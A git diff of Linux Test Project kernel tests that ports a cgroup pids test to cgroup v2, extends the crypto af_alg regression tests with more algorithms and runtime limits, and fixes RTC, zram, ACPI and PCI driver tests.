+	cgroup_version=$(cgroup_get_version "pids")
+	testpath=$(cgroup_get_test_path "pids")
+	task_list=$(cgroup_get_task_list "pids")
 
-	mount_point=`grep -w pids /proc/mounts | cut -f 2 | cut -d " " -f2`
-
-	if [ "$mount_point" = "" ]; then
-		mounted=0
-		mount_point=/dev/cgroup
-	fi
-
-	testpath=$mount_point/ltp_pids_$caseno
-
-	if [ "$mounted" -eq "0" ]; then
-		ROD mkdir -p $mount_point
-		ROD mount -t cgroup -o pids none $mount_point
-	fi
-	ROD mkdir -p $testpath
+	tst_res TINFO "test starts with cgroup version $cgroup_version"
 }
 
 start_pids_tasks2()
@@ -81,10 +60,10 @@
 	nb=$2
 	for i in `seq 1 $nb`; do
 		pids_task2 &
-		echo $! > $path/tasks
+		echo $! > "$path/$task_list"
 	done
 
-	if [ $(cat "$path/tasks" | wc -l) -ne $nb ]; then
+	if [ $(wc -l < "$path/$task_list") -ne "$nb" ]; then
 		tst_brk TBROK "failed to attach process"
 	fi
 }
@@ -99,7 +78,7 @@
 	local i
 	path=$1
 
-	for i in `cat $path/tasks`; do
+	for i in $(cat "$path/$task_list"); do
 		ROD kill -9 $i
 		wait $i
 	done
@@ -110,7 +89,7 @@
 	start_pids_tasks2 $max
 
 	# should return 0 because there is no limit
-	pids_task1 "$testpath/tasks"
+	pids_task1 "$testpath/$task_list"
 	ret=$?
 
 	if [ "$ret" -eq "2" ]; then
@@ -133,7 +112,7 @@
 	start_pids_tasks2 $tmp
 
 	# should return 2 because the limit of pids is reached
-	pids_task1 "$testpath/tasks"
+	pids_task1 "$testpath/$task_list"
 	ret=$?
 
 	if [ "$ret" -eq "2" ]; then
@@ -155,7 +134,7 @@
 
 	start_pids_tasks2 $max
 
-	pids_task1 "$testpath/tasks"
+	pids_task1 "$testpath/$task_list"
 	ret=$?
 
 	if [ "$ret" -eq "2" ]; then
@@ -201,7 +180,7 @@
 	lim=$((max - 1))
 	ROD echo $lim \> $testpath/pids.max
 
-	pids_task1 "$testpath/tasks"
+	pids_task1 "$testpath/$task_list"
 	ret=$?
 
 	if [ "$ret" -eq "2" ]; then
@@ -232,7 +211,7 @@
 		start_pids_tasks2_path $testpath/child$i $lim
 	done
 
-	pids_task1 "$testpath/tasks"
+	pids_task1 "$testpath/$task_list"
 	ret=$?
 
 	if [ "$ret" -eq "2" ]; then
@@ -244,7 +223,7 @@
 	fi
 
 	for i in `seq 1 $subcgroup_num`; do
-		pids_task1 "$testpath/child$i/tasks"
+		pids_task1 "$testpath/child$i/$task_list"
 		ret=$?
 
 		if [ "$ret" -eq "2" ]; then
@@ -268,6 +247,9 @@
 {
 	tst_res TINFO "set child cgroup limit smaller than its parent limit"
 	ROD echo $max \> $testpath/pids.max
+	if [ "$cgroup_version" = "2" ]; then
+		ROD echo +pids \> "$testpath"/cgroup.subtree_control
+	fi
 	mkdir $testpath/child
 
 	lim=$((max - 1))
@@ -275,7 +257,7 @@
 	tmp=$((max - 2))
 	start_pids_tasks2_path $testpath/child $tmp
 
-	pids_task1 "$testpath/child/tasks"
+	pids_task1 "$testpath/child/$task_list"
 	ret=$?
 
 	if [ "$ret" -eq "2" ]; then
@@ -295,16 +277,19 @@
 	tst_res TINFO "migrate cgroup"
 	lim=$((max - 1))
 
+	if [ "$cgroup_version" = "2" ]; then
+		ROD echo +pids \> "$testpath"/cgroup.subtree_control
+	fi
 	for i in 1 2; do
 		mkdir $testpath/child$i
 		ROD echo $max \> $testpath/child$i/pids.max
 		start_pids_tasks2_path $testpath/child$i $lim
 	done
 
-	pid=`head -n 1 $testpath/child1/tasks`;
-	ROD echo $pid \> $testpath/child2/tasks
+	pid=`head -n 1 "$testpath/child1/$task_list"`;
+	ROD echo $pid \> "$testpath/child2/$task_list"
 
-	if grep -q "$pid" "$testpath/child2/tasks"; then
+	if grep -q "$pid" "$testpath/child2/$task_list"; then
 		tst_res TPASS "migrate pid $pid from cgroup1 to cgroup2 as expected"
 	else
 		tst_res TPASS "migrate pid $pid from cgroup1 to cgroup2 failed"
@@ -322,7 +307,7 @@
 		tst_res TFAIL "migrate child2 cgroup failed"
 	fi
 
-	pids_task1 "$testpath/child1/tasks"
+	pids_task1 "$testpath/child1/$task_list"
 	ret=$?
 
 	if [ "$ret" -eq "2" ]; then
@@ -333,7 +318,7 @@
 		tst_res TBROK "child1 pids_task1 failed"
 	fi
 
-	pids_task1 "$testpath/child2/tasks"
+	pids_task1 "$testpath/child2/$task_list"
 	ret=$?
 
 	if [ "$ret" -eq "2" ]; then
@@ -357,4 +342,5 @@
 	case$caseno
 }
 
+. cgroup_lib.sh
 tst_run
diff --git a/testcases/kernel/crypto/Makefile b/testcases/kernel/crypto/Makefile
index 8175a34..40e6fab 100644
--- a/testcases/kernel/crypto/Makefile
+++ b/testcases/kernel/crypto/Makefile
@@ -1,17 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2017 Linux Test Project
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/kernel/crypto/af_alg01.c b/testcases/kernel/crypto/af_alg01.c
index d3e823e..7cefe59 100644
--- a/testcases/kernel/crypto/af_alg01.c
+++ b/testcases/kernel/crypto/af_alg01.c
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright 2019 Google LLC
+ * Copyright (c) Linux Test Project, 2019-2021
  */
 
 /*
@@ -21,20 +22,15 @@
 	char hmac_algname[64];
 	char key[4096] = { 0 };
 
-	if (!tst_have_alg("hash", hash_algname)) {
-		tst_res(TCONF, "kernel doesn't have hash algorithm '%s'",
-			hash_algname);
+	if (!tst_have_alg("hash", hash_algname))
 		return;
-	}
+
 	sprintf(hmac_algname, "hmac(%s)", hash_algname);
-	if (!tst_have_alg("hash", hmac_algname)) {
-		tst_res(TCONF, "kernel doesn't have hash algorithm '%s'",
-			hmac_algname);
+	if (!tst_have_alg("hash", hmac_algname))
 		return;
-	}
 
 	sprintf(hmac_algname, "hmac(hmac(%s))", hash_algname);
-	if (tst_have_alg("hash", hmac_algname)) {
+	if (tst_try_alg("hash", hmac_algname) != ENOENT) {
 		int algfd;
 
 		tst_res(TFAIL, "instantiated nested hmac algorithm ('%s')!",
@@ -66,6 +62,7 @@
 	"sha256", "sha256-generic",
 	"sha3-256", "sha3-256-generic",
 	"sha3-512", "sha3-512-generic",
+	"sm3", "sm3-generic",
 };
 
 static void do_test(unsigned int i)
diff --git a/testcases/kernel/crypto/af_alg02.c b/testcases/kernel/crypto/af_alg02.c
index 31d3077..40d07ca 100644
--- a/testcases/kernel/crypto/af_alg02.c
+++ b/testcases/kernel/crypto/af_alg02.c
@@ -23,6 +23,7 @@
 
 #define SALSA20_IV_SIZE       8
 #define SALSA20_MIN_KEY_SIZE  16
+static int volatile completed;
 
 static void *verify_encrypt(void *arg)
 {
@@ -48,6 +49,8 @@
 		tst_res(TPASS, "Successfully \"encrypted\" an empty message");
 	else
 		tst_res(TFAIL, "read() didn't return 0");
+
+	completed = 1;
 	return arg;
 }
 
@@ -55,24 +58,26 @@
 {
 	pthread_t thr;
 
+	completed = 0;
 	pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL);
 	SAFE_PTHREAD_CREATE(&thr, NULL, verify_encrypt, NULL);
 
 	TST_CHECKPOINT_WAIT(0);
 
-	while (pthread_kill(thr, 0) != ESRCH) {
-		if (tst_timeout_remaining() <= 10) {
+	while (!completed) {
+		if (!tst_remaining_runtime()) {
 			pthread_cancel(thr);
 			tst_brk(TBROK,
 				"Timed out while reading from request socket.");
 		}
 		usleep(1000);
 	}
+	pthread_join(thr, NULL);
 }
 
 static struct tst_test test = {
 	.test_all = run,
-	.timeout = 20,
+	.max_runtime = 20,
 	.needs_checkpoints = 1,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "ecaaab564978"},
diff --git a/testcases/kernel/crypto/af_alg03.c b/testcases/kernel/crypto/af_alg03.c
index 5f214e4..bb8d480 100644
--- a/testcases/kernel/crypto/af_alg03.c
+++ b/testcases/kernel/crypto/af_alg03.c
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright 2019 Google LLC
+ * Copyright (c) Linux Test Project, 2019-2021
  */
 
 /*
@@ -17,7 +18,7 @@
 	tst_require_alg("aead", "rfc7539(chacha20,poly1305)");
 	tst_require_alg("hash", "sha256");
 
-	if (tst_have_alg("aead", "rfc7539(chacha20,sha256)")) {
+	if (tst_try_alg("aead", "rfc7539(chacha20,sha256)") != ENOENT) {
 		tst_res(TFAIL,
 			"instantiated rfc7539 template with wrong digest size");
 	} else {
diff --git a/testcases/kernel/crypto/af_alg04.c b/testcases/kernel/crypto/af_alg04.c
index df04904..7b665f8 100644
--- a/testcases/kernel/crypto/af_alg04.c
+++ b/testcases/kernel/crypto/af_alg04.c
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright 2019 Google LLC
+ * Copyright (c) Linux Test Project, 2019-2021
  */
 
 /*
@@ -10,23 +11,28 @@
  * reproducer from the commit message.
  */
 
+#include <stdio.h>
 #include <sys/wait.h>
 
 #include "tst_test.h"
 #include "tst_af_alg.h"
 
-static void run(void)
+static void test_with_symm_enc_algs(const char *symm_enc_algname)
 {
 	int algfd, reqfd;
 	char buf[256] = { 0 };
+	char vmac_algname[64];
 	pid_t pid;
 	int status;
 	int i;
 
-	if (tst_have_alg("hash", "vmac64(aes)"))
-		algfd = tst_alg_setup("hash", "vmac64(aes)", NULL, 16);
-	else
-		algfd = tst_alg_setup("hash", "vmac(aes)", NULL, 16);
+	sprintf(vmac_algname, "vmac64(%s)", symm_enc_algname);
+	if (!tst_have_alg("hash", vmac_algname)) {
+		sprintf(vmac_algname, "vmac(%s)", symm_enc_algname);
+		if (!tst_have_alg("hash", vmac_algname))
+			return;
+	}
+	algfd = tst_alg_setup("hash", vmac_algname, NULL, 16);
 
 	tst_res(TINFO, "Starting vmac hashing test.  May crash buggy kernels.");
 
@@ -52,8 +58,21 @@
 	}
 }
 
+/* try several different symmetric encryption algorithms */
+static const char * const symm_enc_algs[] = {
+	"aes",
+	"sm4",
+	"sm4-generic",
+};
+
+static void do_test(unsigned int i)
+{
+	test_with_symm_enc_algs(symm_enc_algs[i]);
+}
+
 static struct tst_test test = {
-	.test_all = run,
+	.test = do_test,
+	.tcnt = ARRAY_SIZE(symm_enc_algs),
 	.forks_child = 1,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "bb2964810233"},
diff --git a/testcases/kernel/crypto/af_alg07.c b/testcases/kernel/crypto/af_alg07.c
index ef13ad7..9c25166 100644
--- a/testcases/kernel/crypto/af_alg07.c
+++ b/testcases/kernel/crypto/af_alg07.c
@@ -125,6 +125,7 @@
 	.cleanup = cleanup,
 	.min_kver = "4.10.0",
 	.min_cpus = 2,
+	.max_runtime = 150,
 	.taint_check = TST_TAINT_W | TST_TAINT_D,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "ff7b11aa481f"},
diff --git a/testcases/kernel/crypto/crypto_user02.c b/testcases/kernel/crypto/crypto_user02.c
index a31c9f2..afaff5d 100644
--- a/testcases/kernel/crypto/crypto_user02.c
+++ b/testcases/kernel/crypto/crypto_user02.c
@@ -39,7 +39,16 @@
 	"hmac(sha224-generic)",
 	"hmac(sha256-generic)",
 	"hmac(sha384-generic)",
-	"hmac(md5-generic)"
+	"hmac(md5-generic)",
+	"hmac(sm3-generic)",
+	"hmac(sha512-generic)",
+	"hmac(rmd160-generic)",
+	"hmac(sha3-224-generic)",
+	"hmac(sha3-256-generic)",
+	"hmac(sha3-384-generic)",
+	"hmac(sha3-512-generic)",
+	"hmac(streebog256-generic)",
+	"hmac(streebog512-generic)"
 };
 
 static const char* algorithm = NULL;
diff --git a/testcases/kernel/crypto/pcrypt_aead01.c b/testcases/kernel/crypto/pcrypt_aead01.c
index 0609af9..5eefee4 100644
--- a/testcases/kernel/crypto/pcrypt_aead01.c
+++ b/testcases/kernel/crypto/pcrypt_aead01.c
@@ -55,7 +55,7 @@
 		if (TST_RET)
 			tst_brk(TBROK | TRERRNO, "del_alg");
 
-		if (tst_timeout_remaining() < 10) {
+		if (!tst_remaining_runtime()) {
 			tst_res(TINFO, "Time limit reached, stopping at "
 				"%d iterations", i);
 			break;
@@ -75,6 +75,7 @@
 	.test_all = run,
 	.cleanup = cleanup,
 	.needs_root = 1,
+	.max_runtime = 300,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "d76c68109f37"},
 		{"CVE", "2017-5754"},
diff --git a/testcases/kernel/device-drivers/Makefile b/testcases/kernel/device-drivers/Makefile
index 55e0d25..229a506 100644
--- a/testcases/kernel/device-drivers/Makefile
+++ b/testcases/kernel/device-drivers/Makefile
@@ -1,18 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 
 top_srcdir	?= ../../..
 
diff --git a/testcases/kernel/device-drivers/acpi/ltp_acpi_cmds.c b/testcases/kernel/device-drivers/acpi/ltp_acpi_cmds.c
index 0ce70c6..d12dd6b 100644
--- a/testcases/kernel/device-drivers/acpi/ltp_acpi_cmds.c
+++ b/testcases/kernel/device-drivers/acpi/ltp_acpi_cmds.c
@@ -221,6 +221,7 @@
 		if (acpi_failure(status, "acpi_object_info failed"))
 			return 1;
 		prk_info("start from %4.4s", (char *)&dev_info->name);
+		kfree(dev_info);
 	} else {
 		/* continue with the last visited child */
 		parent = start_parent;
@@ -430,6 +431,7 @@
 	prk_alert("TEST -- acpi_get_current_resources");
 	status = acpi_get_current_resources(res_handle, &buffer);
 	err = acpi_failure(status, "failed get_current_resources");
+	ACPI_FREE(buffer.pointer);
 
 #ifdef ACPI_FUTURE_USAGE
 	prk_alert("TEST -- acpi_get_possible_resources");
diff --git a/testcases/kernel/device-drivers/block/Makefile b/testcases/kernel/device-drivers/block/Makefile
index b3bb5aa..7c35f1c 100644
--- a/testcases/kernel/device-drivers/block/Makefile
+++ b/testcases/kernel/device-drivers/block/Makefile
@@ -1,18 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 
 top_srcdir	?= ../../../..
 
diff --git a/testcases/kernel/device-drivers/block/block_dev_kernel/Makefile b/testcases/kernel/device-drivers/block/block_dev_kernel/Makefile
index 1013305..7a1ce94 100644
--- a/testcases/kernel/device-drivers/block/block_dev_kernel/Makefile
+++ b/testcases/kernel/device-drivers/block/block_dev_kernel/Makefile
@@ -1,18 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 
 ifneq ($(KERNELRELEASE),)
 
diff --git a/testcases/kernel/device-drivers/cpufreq/cpufreq_boost.c b/testcases/kernel/device-drivers/cpufreq/cpufreq_boost.c
index b9739db..67917b3 100644
--- a/testcases/kernel/device-drivers/cpufreq/cpufreq_boost.c
+++ b/testcases/kernel/device-drivers/cpufreq/cpufreq_boost.c
@@ -90,6 +90,9 @@
 	unsigned int i;
 	tst_require_root();
 
+	if (tst_is_virt(VIRT_ANY))
+		tst_brkm(TCONF, NULL, "running in a virtual machine, overclock not reliably measureable");
+
 	for (i = 0; i < ARRAY_SIZE(cdrv); ++i) {
 		fd = open(cdrv[i].file, O_RDWR);
 		if (fd == -1)
diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c b/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c
index 5b48aa0c..660b3a4 100644
--- a/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c
+++ b/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c
@@ -442,6 +442,7 @@
 
 		if (r->flags & IORESOURCE_MEM &&
 			r->flags & IORESOURCE_PREFETCH) {
+			pci_release_resource(dev, i);
 			ret = pci_assign_resource(dev, i);
 			prk_info("assign resource to '%d', ret '%d'", i, ret);
 			rc |= (ret < 0 && ret != -EBUSY) ? TFAIL : TPASS;
@@ -556,6 +557,11 @@
 {
 	int rc = TSKIP;
 
+	if (!ltp_pci.dev || !ltp_pci.bus) {
+		prk_err("device or bus not selected for test");
+		return TFAIL;
+	}
+
 	switch (cmd) {
 	case PCI_ENABLE:
 		rc = pci_enable();
diff --git a/testcases/kernel/device-drivers/rcu/Makefile b/testcases/kernel/device-drivers/rcu/Makefile
index 96c6b5b..2a097c3 100644
--- a/testcases/kernel/device-drivers/rcu/Makefile
+++ b/testcases/kernel/device-drivers/rcu/Makefile
@@ -1,18 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 
 top_srcdir	?= ../../../..
 include $(top_srcdir)/include/mk/testcases.mk
diff --git a/testcases/kernel/device-drivers/rcu/rcu_torture.sh b/testcases/kernel/device-drivers/rcu/rcu_torture.sh
index bca1530..25a3e7e 100755
--- a/testcases/kernel/device-drivers/rcu/rcu_torture.sh
+++ b/testcases/kernel/device-drivers/rcu/rcu_torture.sh
@@ -19,8 +19,6 @@
 TST_USAGE=rcutorture_usage
 TST_PARSE_ARGS=rcutorture_parse_args
 
-. tst_test.sh
-
 # default options
 test_time=30
 num_writers=5
@@ -92,4 +90,5 @@
 	esac
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/kernel/device-drivers/rtc/Makefile b/testcases/kernel/device-drivers/rtc/Makefile
index effd5da..e2e2b74 100644
--- a/testcases/kernel/device-drivers/rtc/Makefile
+++ b/testcases/kernel/device-drivers/rtc/Makefile
@@ -1,18 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/device-drivers/rtc/rtc02.c b/testcases/kernel/device-drivers/rtc/rtc02.c
index ef83aad..dbac11b 100644
--- a/testcases/kernel/device-drivers/rtc/rtc02.c
+++ b/testcases/kernel/device-drivers/rtc/rtc02.c
@@ -40,29 +40,75 @@
 
 static int rtc_tm_cmp(struct rtc_time *set_tm, struct rtc_time *read_tm)
 {
-	return !((set_tm->tm_sec == read_tm->tm_sec)
-		&& (set_tm->tm_min == read_tm->tm_min)
-		&& (set_tm->tm_hour == read_tm->tm_hour)
-		&& (set_tm->tm_mday == read_tm->tm_mday)
-		&& (set_tm->tm_mon == read_tm->tm_mon)
-		&& (set_tm->tm_year == read_tm->tm_year));
+	long delta, seconds1, seconds2;
+
+	if (set_tm->tm_year != read_tm->tm_year)
+		return 1;
+
+	if (set_tm->tm_mon != read_tm->tm_mon)
+		return 1;
+
+	if (set_tm->tm_mday != read_tm->tm_mday)
+		return 1;
+
+	/*
+	 * Convert hour/min/sec into seconds to handle the normal
+	 * and special situations:
+	 * 1#
+	 *       set_tm:  2022-04-28 13:00:50
+	 *       read_tm: 2022-04-28 13:00:50
+	 * 2#
+	 *       set_tm:  2022-04-28 13:00:50
+	 *       read_tm: 2022-04-28 13:00:51
+	 * 3#
+	 *       set_tm:  2022-04-28 13:00:59
+	 *       read_tm: 2022-04-28 13:01:00
+	 * 4#
+	 *       set_tm:  2022-04-28 13:59:59
+	 *       read_tm: 2022-04-28 14:00:00
+	 *
+	 * Note: as we have avoided testing around the zero
+	 * clock, so it's impossible to hit situation 5#
+	 *       set_tm:  2022-04-28 23:59:59
+	 *       read_tm: 2022-04-29 00:00:00
+	 */
+	if ((set_tm->tm_hour != read_tm->tm_hour)
+		|| (set_tm->tm_min != read_tm->tm_min)
+		|| (set_tm->tm_sec != read_tm->tm_sec)) {
+
+		seconds1 = (set_tm->tm_hour  * 3600) + (set_tm->tm_min  * 60) + set_tm->tm_sec;
+		seconds2 = (read_tm->tm_hour * 3600) + (read_tm->tm_min * 60) + read_tm->tm_sec;
+
+		delta = seconds2 - seconds1;
+
+		if (delta < 0 || delta > 3) {
+			tst_res(TFAIL, "seconds1 is %ld, seconds2 is %ld", seconds1, seconds2);
+			return 1;
+		}
+	}
+
+	return 0;
 }
 
 static void set_rtc_test(void)
 {
-	struct rtc_time read_tm;
+	struct rtc_time read_tm, set_tm;
 	int ret;
 
-	struct rtc_time set_tm = {
-		.tm_sec = 30,
-		.tm_min = 23,
-		.tm_hour = 13,
-		.tm_mday = 9,
-		.tm_mon = 9,
-		.tm_year = 120,
-	};
+	/* Read current RTC Time */
+	ret = tst_rtc_gettime(rtc_dev, &read_tm);
+	if (ret != 0) {
+		tst_res(TFAIL | TERRNO, "ioctl() RTC_RD_TIME");
+		return;
+	}
 
-	/* set rtc to 2020.10.9 13:23:30 */
+	/* set rtc to +/-1 hour */
+	set_tm = read_tm;
+	if (set_tm.tm_hour == 0)
+		set_tm.tm_hour += 1;
+	else
+		set_tm.tm_hour -= 1;
+
 	tst_res(TINFO, "To set RTC date/time is: %s", rtctime_to_str(&set_tm));
 
 	ret = tst_rtc_settime(rtc_dev, &set_tm);
@@ -71,7 +117,7 @@
 		return;
 	}
 
-	/* Read current RTC Time */
+	/* Read new RTC Time */
 	ret = tst_rtc_gettime(rtc_dev, &read_tm);
 	if (ret != 0) {
 		tst_res(TFAIL | TERRNO, "ioctl() RTC_RD_TIME");
@@ -84,7 +130,6 @@
 		return;
 	}
 	tst_res(TPASS, "The read RTC time is consistent with set time");
-
 }
 
 static void rtc_setup(void)
diff --git a/testcases/kernel/device-drivers/zram/Makefile b/testcases/kernel/device-drivers/zram/Makefile
index 5077cf4..0d73f66 100644
--- a/testcases/kernel/device-drivers/zram/Makefile
+++ b/testcases/kernel/device-drivers/zram/Makefile
@@ -17,6 +17,6 @@
 top_srcdir	?= ../../../..
 include $(top_srcdir)/include/mk/testcases.mk
 
-INSTALL_TARGETS		:= *.sh zram03
+INSTALL_TARGETS		:= *.sh
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/device-drivers/zram/zram01.sh b/testcases/kernel/device-drivers/zram/zram01.sh
index ad9a9a2..d4e46c2 100755
--- a/testcases/kernel/device-drivers/zram/zram01.sh
+++ b/testcases/kernel/device-drivers/zram/zram01.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) 2019-2021 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2019-2022 Petr Vorel <pvorel@suse.cz>
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # Test creates several zram devices with different filesystems on them.
@@ -9,16 +9,16 @@
 TST_CNT=7
 TST_TESTFUNC="do_test"
 TST_NEEDS_CMDS="awk bc dd"
-. zram_lib.sh
 TST_SETUP="setup"
 
-check_space_for_btrfs()
+check_space_for_fs()
 {
+	local fs="$1"
 	local ram_size
 
 	ram_size=$(awk '/MemTotal:/ {print $2}' /proc/meminfo)
 	if [ "$ram_size" -lt 1048576 ]; then
-		tst_res TINFO "not enough space for Btrfs"
+		tst_res TINFO "not enough space for $fs"
 		return 1
 	fi
 	return 0
@@ -39,13 +39,18 @@
 	local fs limit size stream=-1
 	dev_num=0
 
-	for fs in $(tst_supported_fs); do
-		[ "$fs" = "tmpfs" ] && continue
+	for fs in $(tst_supported_fs -s tmpfs); do
 		size="26214400"
 		limit="25M"
-		if [ "$fs" = "btrfs" ]; then
-			check_space_for_btrfs || continue
-			size="402653184"
+
+		if [ "$fs" = "btrfs" -o "$fs" = "xfs" ]; then
+			check_space_for_fs "$fs" || continue
+
+			if [ "$fs" = "btrfs" ]; then
+				size="402653184"
+			elif [ "$fs" = "xfs" ]; then
+				size=314572800
+			fi
 			limit="$((size/1024/1024))M"
 		fi
 
@@ -69,7 +74,7 @@
 
 zram_makefs()
 {
-	local i=0
+	local i=$dev_start
 	local fs
 
 	for fs in $zram_filesystems; do
@@ -90,7 +95,7 @@
 {
 	local i=0
 
-	for i in $(seq 0 $(($dev_num - 1))); do
+	for i in $(seq $dev_start $dev_end); do
 		tst_res TINFO "mount /dev/zram$i"
 		mkdir zram$i
 		ROD mount /dev/zram$i zram$i
@@ -102,7 +107,7 @@
 
 zram_fill_fs()
 {
-	for i in $(seq 0 $(($dev_num - 1))); do
+	for i in $(seq $dev_start $dev_end); do
 		tst_res TINFO "filling zram$i (it can take long time)"
 		local b=0
 		while true; do
@@ -125,8 +130,8 @@
 			continue
 		fi
 
-		local compr_size=`awk '{print $2}' "/sys/block/zram$i/mm_stat"`
-		local v=$((100 * 1024 * $b / $compr_size))
+		local mem_used_total=`awk '{print $3}' "/sys/block/zram$i/mm_stat"`
+		local v=$((100 * 1024 * $b / $mem_used_total))
 		local r=`echo "scale=2; $v / 100 " | bc`
 
 		if [ "$v" -lt 100 ]; then
@@ -151,4 +156,5 @@
 	esac
 }
 
+. zram_lib.sh
 tst_run
diff --git a/testcases/kernel/device-drivers/zram/zram02.sh b/testcases/kernel/device-drivers/zram/zram02.sh
index f0421ce..bb6e9a5 100755
--- a/testcases/kernel/device-drivers/zram/zram02.sh
+++ b/testcases/kernel/device-drivers/zram/zram02.sh
@@ -7,7 +7,6 @@
 
 TST_CNT=6
 TST_TESTFUNC="do_test"
-. zram_lib.sh
 
 # List of parameters for zram devices.
 # For each number the test creates own zram device.
@@ -29,7 +28,7 @@
 	tst_require_cmds mkswap swapon swapoff
 	local i=0
 
-	for i in $(seq 0 $(($dev_num - 1))); do
+	for i in $(seq $dev_start $dev_end); do
 		ROD mkswap /dev/zram$i
 		ROD swapon /dev/zram$i
 		tst_res TINFO "done with /dev/zram$i"
@@ -44,7 +43,7 @@
 	tst_require_cmds swapoff
 	local i
 
-	for i in $(seq 0 $dev_makeswap); do
+	for i in $(seq $dev_start $dev_end); do
 		ROD swapoff /dev/zram$i
 	done
 	dev_makeswap=-1
@@ -64,4 +63,5 @@
 	esac
 }
 
+. zram_lib.sh
 tst_run
diff --git a/testcases/kernel/device-drivers/zram/zram03.c b/testcases/kernel/device-drivers/zram/zram03.c
index 06995fd..98eb61e 100644
--- a/testcases/kernel/device-drivers/zram/zram03.c
+++ b/testcases/kernel/device-drivers/zram/zram03.c
@@ -1,27 +1,16 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (C) 2010  Red Hat, Inc.
+ */
+
+/*\
+ * [Description]
+ *
  * zram: generic RAM based compressed R/W block devices
  * http://lkml.org/lkml/2010/8/9/227
  *
- * Copyright (C) 2010  Red Hat, Inc.
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of version 2 of the GNU General Public
